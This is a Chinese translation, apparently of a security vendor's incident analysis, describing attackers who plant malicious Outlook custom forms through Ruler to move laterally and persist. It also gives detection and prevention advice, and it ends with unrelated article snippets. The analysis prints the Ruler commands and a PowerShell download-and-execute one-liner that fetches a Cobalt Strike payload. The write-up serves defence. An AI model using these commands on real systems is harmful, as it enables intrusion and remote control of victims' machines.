一种新的攻击方式:使用Outlook 表单进行横向渗透和常驻
最近我们针对CrowdStrike服务进行例行调查,发现了一种攻击方法,其主要用于横向渗透和系统常驻,而且是以前我们没有看到过的。这种攻击利用Microsoft Outlook中的自定义表单(而不是宏),只需打开或预览电子邮件就会允许Visual Basic代码在系统上执行。
有关Outlook表单攻击的详细解释可以在SensePost中找到。下面的文章详细介绍了我们对使用这种攻击的分析,包括攻击过程以及检测和预防方法。
实战分析
接下来我们我们开始详细的分析,并确定攻击者已使用以前收到的凭证访问了客户端的单一身份验证Outlook Web Access(OWA)服务器。通过访问受害者的OWA服务器,攻击者在受害组织的环境中为一组用户创建了自定义消息表单。自定义表单通过电子邮件触发时,就会允许对手在受害者系统上执行代码。
要创建自定义表单,对手需要使用一个实用程序Ruler。在这种情况下,对手创建了一个自定义Outlook表单,启用Visual Basic代码执行,并将Cobalt Strike下载器嵌入到电子邮件中。每次使用自定义恶意表单向用户发送电子邮件时,都允许shell访问和完全读取,写入和执行权限。
以下是使用Ruler创建自定义表单的示例命令,指定文件“/test/CobaltStrike.txt”,其中包含Visual Basic代码以下载并启动Cobalt Strike,然后发送电子邮件以触发以下格式:
./ruler –email user@victim.com form add –suffix MaliciousForm –input /test/CobaltStrike.txt –send
上述命令将会执行以下操作:
在“user@victim.com”邮箱中创建自定义表单“MaliciousForm”
从同一发件人“user@victim.com”发送电子邮件至“user@victim.com”
电子邮件包含默认的Ruler “Invoice [Confidential]”
Cobalt Strike被下载并在受害者系统上执行,允许shell访问对手
嵌入在对手电子邮件中的payload包含以下代码,它下载并执行了Cobalt Strike的payload:
CreateObject(“WScript.Shell”).Run “cmd /c powershell.exe -NoP -sta -w hidden -c IEX ((new-object net.webclient).downloadstring(‘hxxp://:80/updater’))”
对手采用这种攻击作为一种新颖的方法在环境中横向渗透,而不使用传统的RDP或网络登录,并绕过受害组织中网段之间的跳转框。对手还利用这种攻击来保证能常驻系统,只需通过以下示例命令将电子邮件发送到先前创建的恶意自定义表单的邮箱。
./ruler –email user@victim.com form send –suffix MaliciousForm
那么我们该如何发现并进行防护呢?
发现
检测此活动的一种方法是监视用于Ruler用户代理字符串(即“ruler”)的OWA IIS日志。在下面示例的OWA IIS日志中我们可以看到使用Ruler程序访问受害者OWA服务器的攻击者:
cs-method=POST cs-uri-stem=/autodiscover/autodiscover.xml cs-uri-query=- s-port=444 cs-username=DOMAINaccount c-ip=192.168.1.1 cs-version=HTTP/1.1 cs(User-Agent)=ruler cs(Referer)=- sc-status=200 sc-substatus=0 sc-win32-status=0 time-taken=31
另一种检测方法涉及Windows注册表。可以通过搜索注册表来识别包含“IPM.Note”以外的值的自定义表单。在下面的示例中,自定义表单撰写,读取和预览键将填充“IPM.Note.MaliciousForm”值:
Key: [HKEY_CURRENT_USERSoftwareMicrosoftOffice16.0OutlookCustom FormsCompose] Name: IPM.Note
Type: String
Value: IPM.Note.MaliciousForm
Key: [HKEY_CURRENT_USERSoftwareMicrosoftOffice16.0OutlookCustom FormsRead] Name: IPM.Note
Type: String
Value: IPM.Note.MaliciousForm
Key: [HKEY_CURRENT_USERSoftwareMicrosoftOffice16.0OutlookCustom FormsPreview] Name: IPM.Note
Type: String
Value: IPM.Note.MaliciousForm
最后,如果对手没有更改默认的Ruler主题,则应检查包含默认主题“Invoice [Confidential]”的SMTP流量。此外,监控实用程序应具有规则,配置包含默认标尺“Invoice [Confidential]”的电子邮件的警报。
预防
要执行此攻击,对手需要访问Microsoft Exchange服务器,在这种情况下,该服务器只需要单因素身份验证。我们应确保其用户群体的所有方面(无论是公司还是第三方)都使用双因素身份验证进行电子邮件访问。
相关文章:

ACM 1740 A New Stone Game http://acm.pku.cn/JudgeOnline/problem?id=1740
题目大意:有N堆石头,每堆石头数目在1到100之间,最多有10堆.两人分别取走石头.取石头的规则是:每次只能从1堆中取,每次取走至少1个.取过后还可以把这堆的石头任意分配到其它堆上(这些堆必须有石头,废话呵呵),当然也可以不分配.问给定这些石头堆的情况,两人轮流取,谁先取完谁胜利…

LeetCode实战:回文数
题目英文 Determine whether an integer is a palindrome. An integer is a palindrome when it reads the same backward as forward. Example 1: Input: 121 Output: trueExample 2: Input: -121 Output: false Explanation: From left to right, it reads -121. From ri…

安全测试的基本原则有哪些?
软件测试顾名思义就是要进行软件安全方面的测试,对于软件测试人员来说,软件安全是一个广泛而复杂的主题,完全避免软件安全缺陷问题是不切实际的,但通过安全测试可以发现并修复软件大部分安全缺陷。下面介绍一些安全测试的基本原则…
LeetCode实战:盛最多水的容器
题目英文 Given n non-negative integers a1, a2, …, an, where each represents a point at coordinate (i, ai). n vertical lines are drawn such that the two endpoints of line i is at (i, ai) and (i, 0). Find two lines, which together with x-axis forms a conta…

微软极品Sysinternals Suite工具包使用指南
微软极品Sysinternals Suite工具包使用指南 按照名称首字母排序,点击每个蓝色标题链接都可以转到微软的对应官方页面,有对这些工具包的直接下载地址和更详尽的用法。因为每个软件几乎都可以长篇大论的介绍,所以,在此就只做简介和罗…
【布局】圣杯布局双飞翼布局
背景 随着前端技术的发展推进,web端的布局方式已基本成熟,那么在网站布局方式中,三列布局最为常用,布局方式也有很多,渐渐的开发者们开始从效率的角度优化自己的代码“如果三排布局能将中间的模块放在dom树前面&#x…

UI设计师面试如何操作才能获得高薪
UI设计师在近几年是非常吃香的,求职招聘网站上对于UI设计师的要求也越来越高,那么在面试的过程中UI设计师面试如何操作才能获得高薪呢?来看看下面的详细解析。 UI设计师面试如何操作才能获得高薪? 1、行为举止得体大方 我们先从仪态体态方面说…

HDU2673-shǎ崽(水题)
如果不能够直接秒杀的题,就不算水题。又应证了那句话,有时候,如果在水题上卡住,那么此题对于你来说,也就不算是水题了额~~ 刚睡醒,迷迷糊糊。 题目的意思很简单,求一个最大的,再求一…

center os7 安装mysql
安装mariadb MariaDB数据库管理系统是MySQL的一个分支,主要由开源社区在维护,采用GPL授权许可。开发这个分支的原因之一是:甲骨文公司收购了MySQL后,有将MySQL闭源的潜在风险,因此社区采用分支的方式来避开这个风险。M…

LeetCode实战:最长公共前缀
题目英文 Write a function to find the longest common prefix string amongst an array of strings. If there is no common prefix, return an empty string “”. Example 1: Input: ["flower","flow","flight"] Output: "fl"…

软件测试培训需要学习什么技术
软件测试技术相对于IT行业的其他技术,学习起来是比较简单的,大多数零基础学员想要进入到IT行业都会优先选择软件测试,那么具体软件测试培训需要学习什么技术呢?来看看下面的介绍就知道了。 软件测试培训需要学习什么技术? 每个软件在上线之…

检测晃动的三种方法
http://stackoverflow.com/questions/150446/how-do-i-detect-when-someone-shakes-an-iphone 我的实现(基于Eran Talmor): 没必要application.applicationSupportsShakeToEdit YES; Set the applicationSupportsShakeToEdit property in th…

android随手记
Linearlayout: gravity:本元素中所有子元素的重力方向 layout_gravity:本元素对于父元素的重力方向 自定义权限:http://www.cnblogs.com/it-tomorrow/p/4115161.html 注意:1 .在被调用时就算是normal权限也需要在加入,不然会permission Deney,在…

LeetCode实战:最接近的三数之和
题目英文 Given an array nums of n integers and an integer target, find three integers in nums such that the sum is closest to target. Return the sum of the three integers. You may assume that each input would have exactly one solution. Example: Given ar…

零基础学习UI设计有哪些简单有效的方法
UI设计的普及让越来越多的人对UI有了重新的认识,很多企业对UI设计这个岗位都是非常重视的,如今很多零基础学员都想要转行做UI设计,那么针对零基础学习UI设计有哪些简单有效的方法呢?来看看下面的详细介绍吧。 零基础学习UI设计有哪些简单有效…

(转)linux下oracle instant client安装和运行
1.首先要知道什么是ORACLE的客户端: Oracle Instant client 是oracle提供的简便客户端, 支持多种平台. 可从oracle网站下载, 下载地址为http://www.oracle.com/technology/tech/oci/instantclient/index.html 包括如下内容: Instant client Package - Basic 运行OCI…

LeetCode实战:删除排序数组中的重复项
题目英文 Given a sorted array nums, remove the duplicates in-place such that each element appear only once and return the new length. Do not allocate extra space for another array, you must do this by modifying the input array in-place with O(1) extra me…

16G 手机清理
1.16G 手机清理 清理top 5 的应用的缓存即可 2,hw wife 连接模块 低于 app wifi 的连接模块。 在同样的电脑热点面前,hw 连补上电脑热点,apple 可以连上电脑热点。 其他差异不大。 2.奇兔刷机 tencent应用宝 and 手机管理,备份软件 http://w…

java培训有哪些收费标准
随着学习java技术的人越来越多,市面上的java培训机构也越来越多,每家机构的收费标准都不一样,这让很多想要学习java技术的小伙伴都比较头疼,下面小编就为大家详细的介绍一下java培训有哪些收费标准?如何来评判适合自己的java培训…

使用ASP.NET操作IIS7中使用应用程序
在最新发布的启明星Portal里,增加了安装程序,下面说一下.NET对IIS7操作。IIS7的操作和IIS5/6有很大的不同,在IIS7里增加了 Microsoft.Web.Administration 命名空间里,增加了ServerManager、Site几个大类来操作IIS7。 下面是一些核…

MYSQL体系结构-来自期刊
MYSQL体系结构-来自期刊 MySQL三层体系结构|-----------------------------------------------------------------------------------| | mysqld-SQL层 | |-------------------------------------------…

LeetCode实战:搜索旋转排序数组
题目英文 Suppose an array sorted in ascending order is rotated at some pivot unknown to you beforehand. (i.e., [0,1,2,4,5,6,7] might become [4,5,6,7,0,1,2]). You are given a target value to search. If found in the array return its index, otherwise retur…

Python内置数据结构之双向队列
经常听说Python就是一门执行速度低的语言,可能是你的程序中使用了复杂的算法与数据结构,才会导致程序执行速率低的。在Python的标准库中提供了常见的数据结构工开发者使用,不仅执行速率比较快,还可以简化开发者的编程工作。下面我…

C# GDAL 学习一
最近一直琢磨如何用C#GDAL读取栅格数据(.tif或.img),运气不错的在GDAL 的官网上找到一部分源码。经过本人测试,效果还不错。学习还将继续深入下去。 参考网址:http://trac.osgeo.org/gdal/browser/trunk/gdal/swig/csh…

LeetCode实战:字符串相加
题目英文 Given two non-negative integers num1 and num2 represented as string, return the sum of num1 and num2. Note: The length of both num1 and num2 is < 5100.Both num1 and num2 contains only digits 0-9.Both num1 and num2 does not contain any leadin…

js中修改this的指向方法整理
JavaScript(简称“JS”) 是一种具有函数优先的轻量级,解释型或即时编译型的编程语言。虽然它是作为开发Web页面的脚本语言而出名,但是它也被用到了很多非浏览器环境中,JavaScript 基于原型编程、多范式的动态脚本语言,并且支持面向…

VC运行时库(/MD、/MT等)
VC项目属性→配置属性→C/C→代码生成→运行时库 可以采用的方式有:多线程(/MT)、多线程调试(/MTd)、多线程DLL(/MD)、多线程调试DLL(/MDd)、单线程(/ML)、单线程调试(/MLd)。 Reusable LibrarySwitchLibraryMacro(s) DefinedSingle Threaded/MLLIBC(none)Static Mu…

函数式编程概述
2019独角兽企业重金招聘Python工程师标准>>> 引子 JDK8中引入了lambda函数式编程的概念,那么什么是函数式编程,函数式编程又有什么好处,今天我们就来说说函数式编程 我们先了解一下函数式编程的由来 一个名叫阿隆佐邱奇的数学家设…

LeetCode实战:字符串相乘
题目英文 Given two non-negative integers num1 and num2 represented as strings, return the product of num1 and num2, also represented as a string. Example 1: Input: num1 "2", num2 "3" Output: "6"Example 2: Input: num1 &q…

UI培训教程之系统图标如何设计?
UI设计在近几年广受大家的关注,学习UI设计的人越来也多,今天小编要介绍的就是其中的系统图标设计方法,系统图标在UI设计中是非常基础的图形化语言,也在页面交互中起到很重要的作用。单个图标的设计并不难,但是系统化、…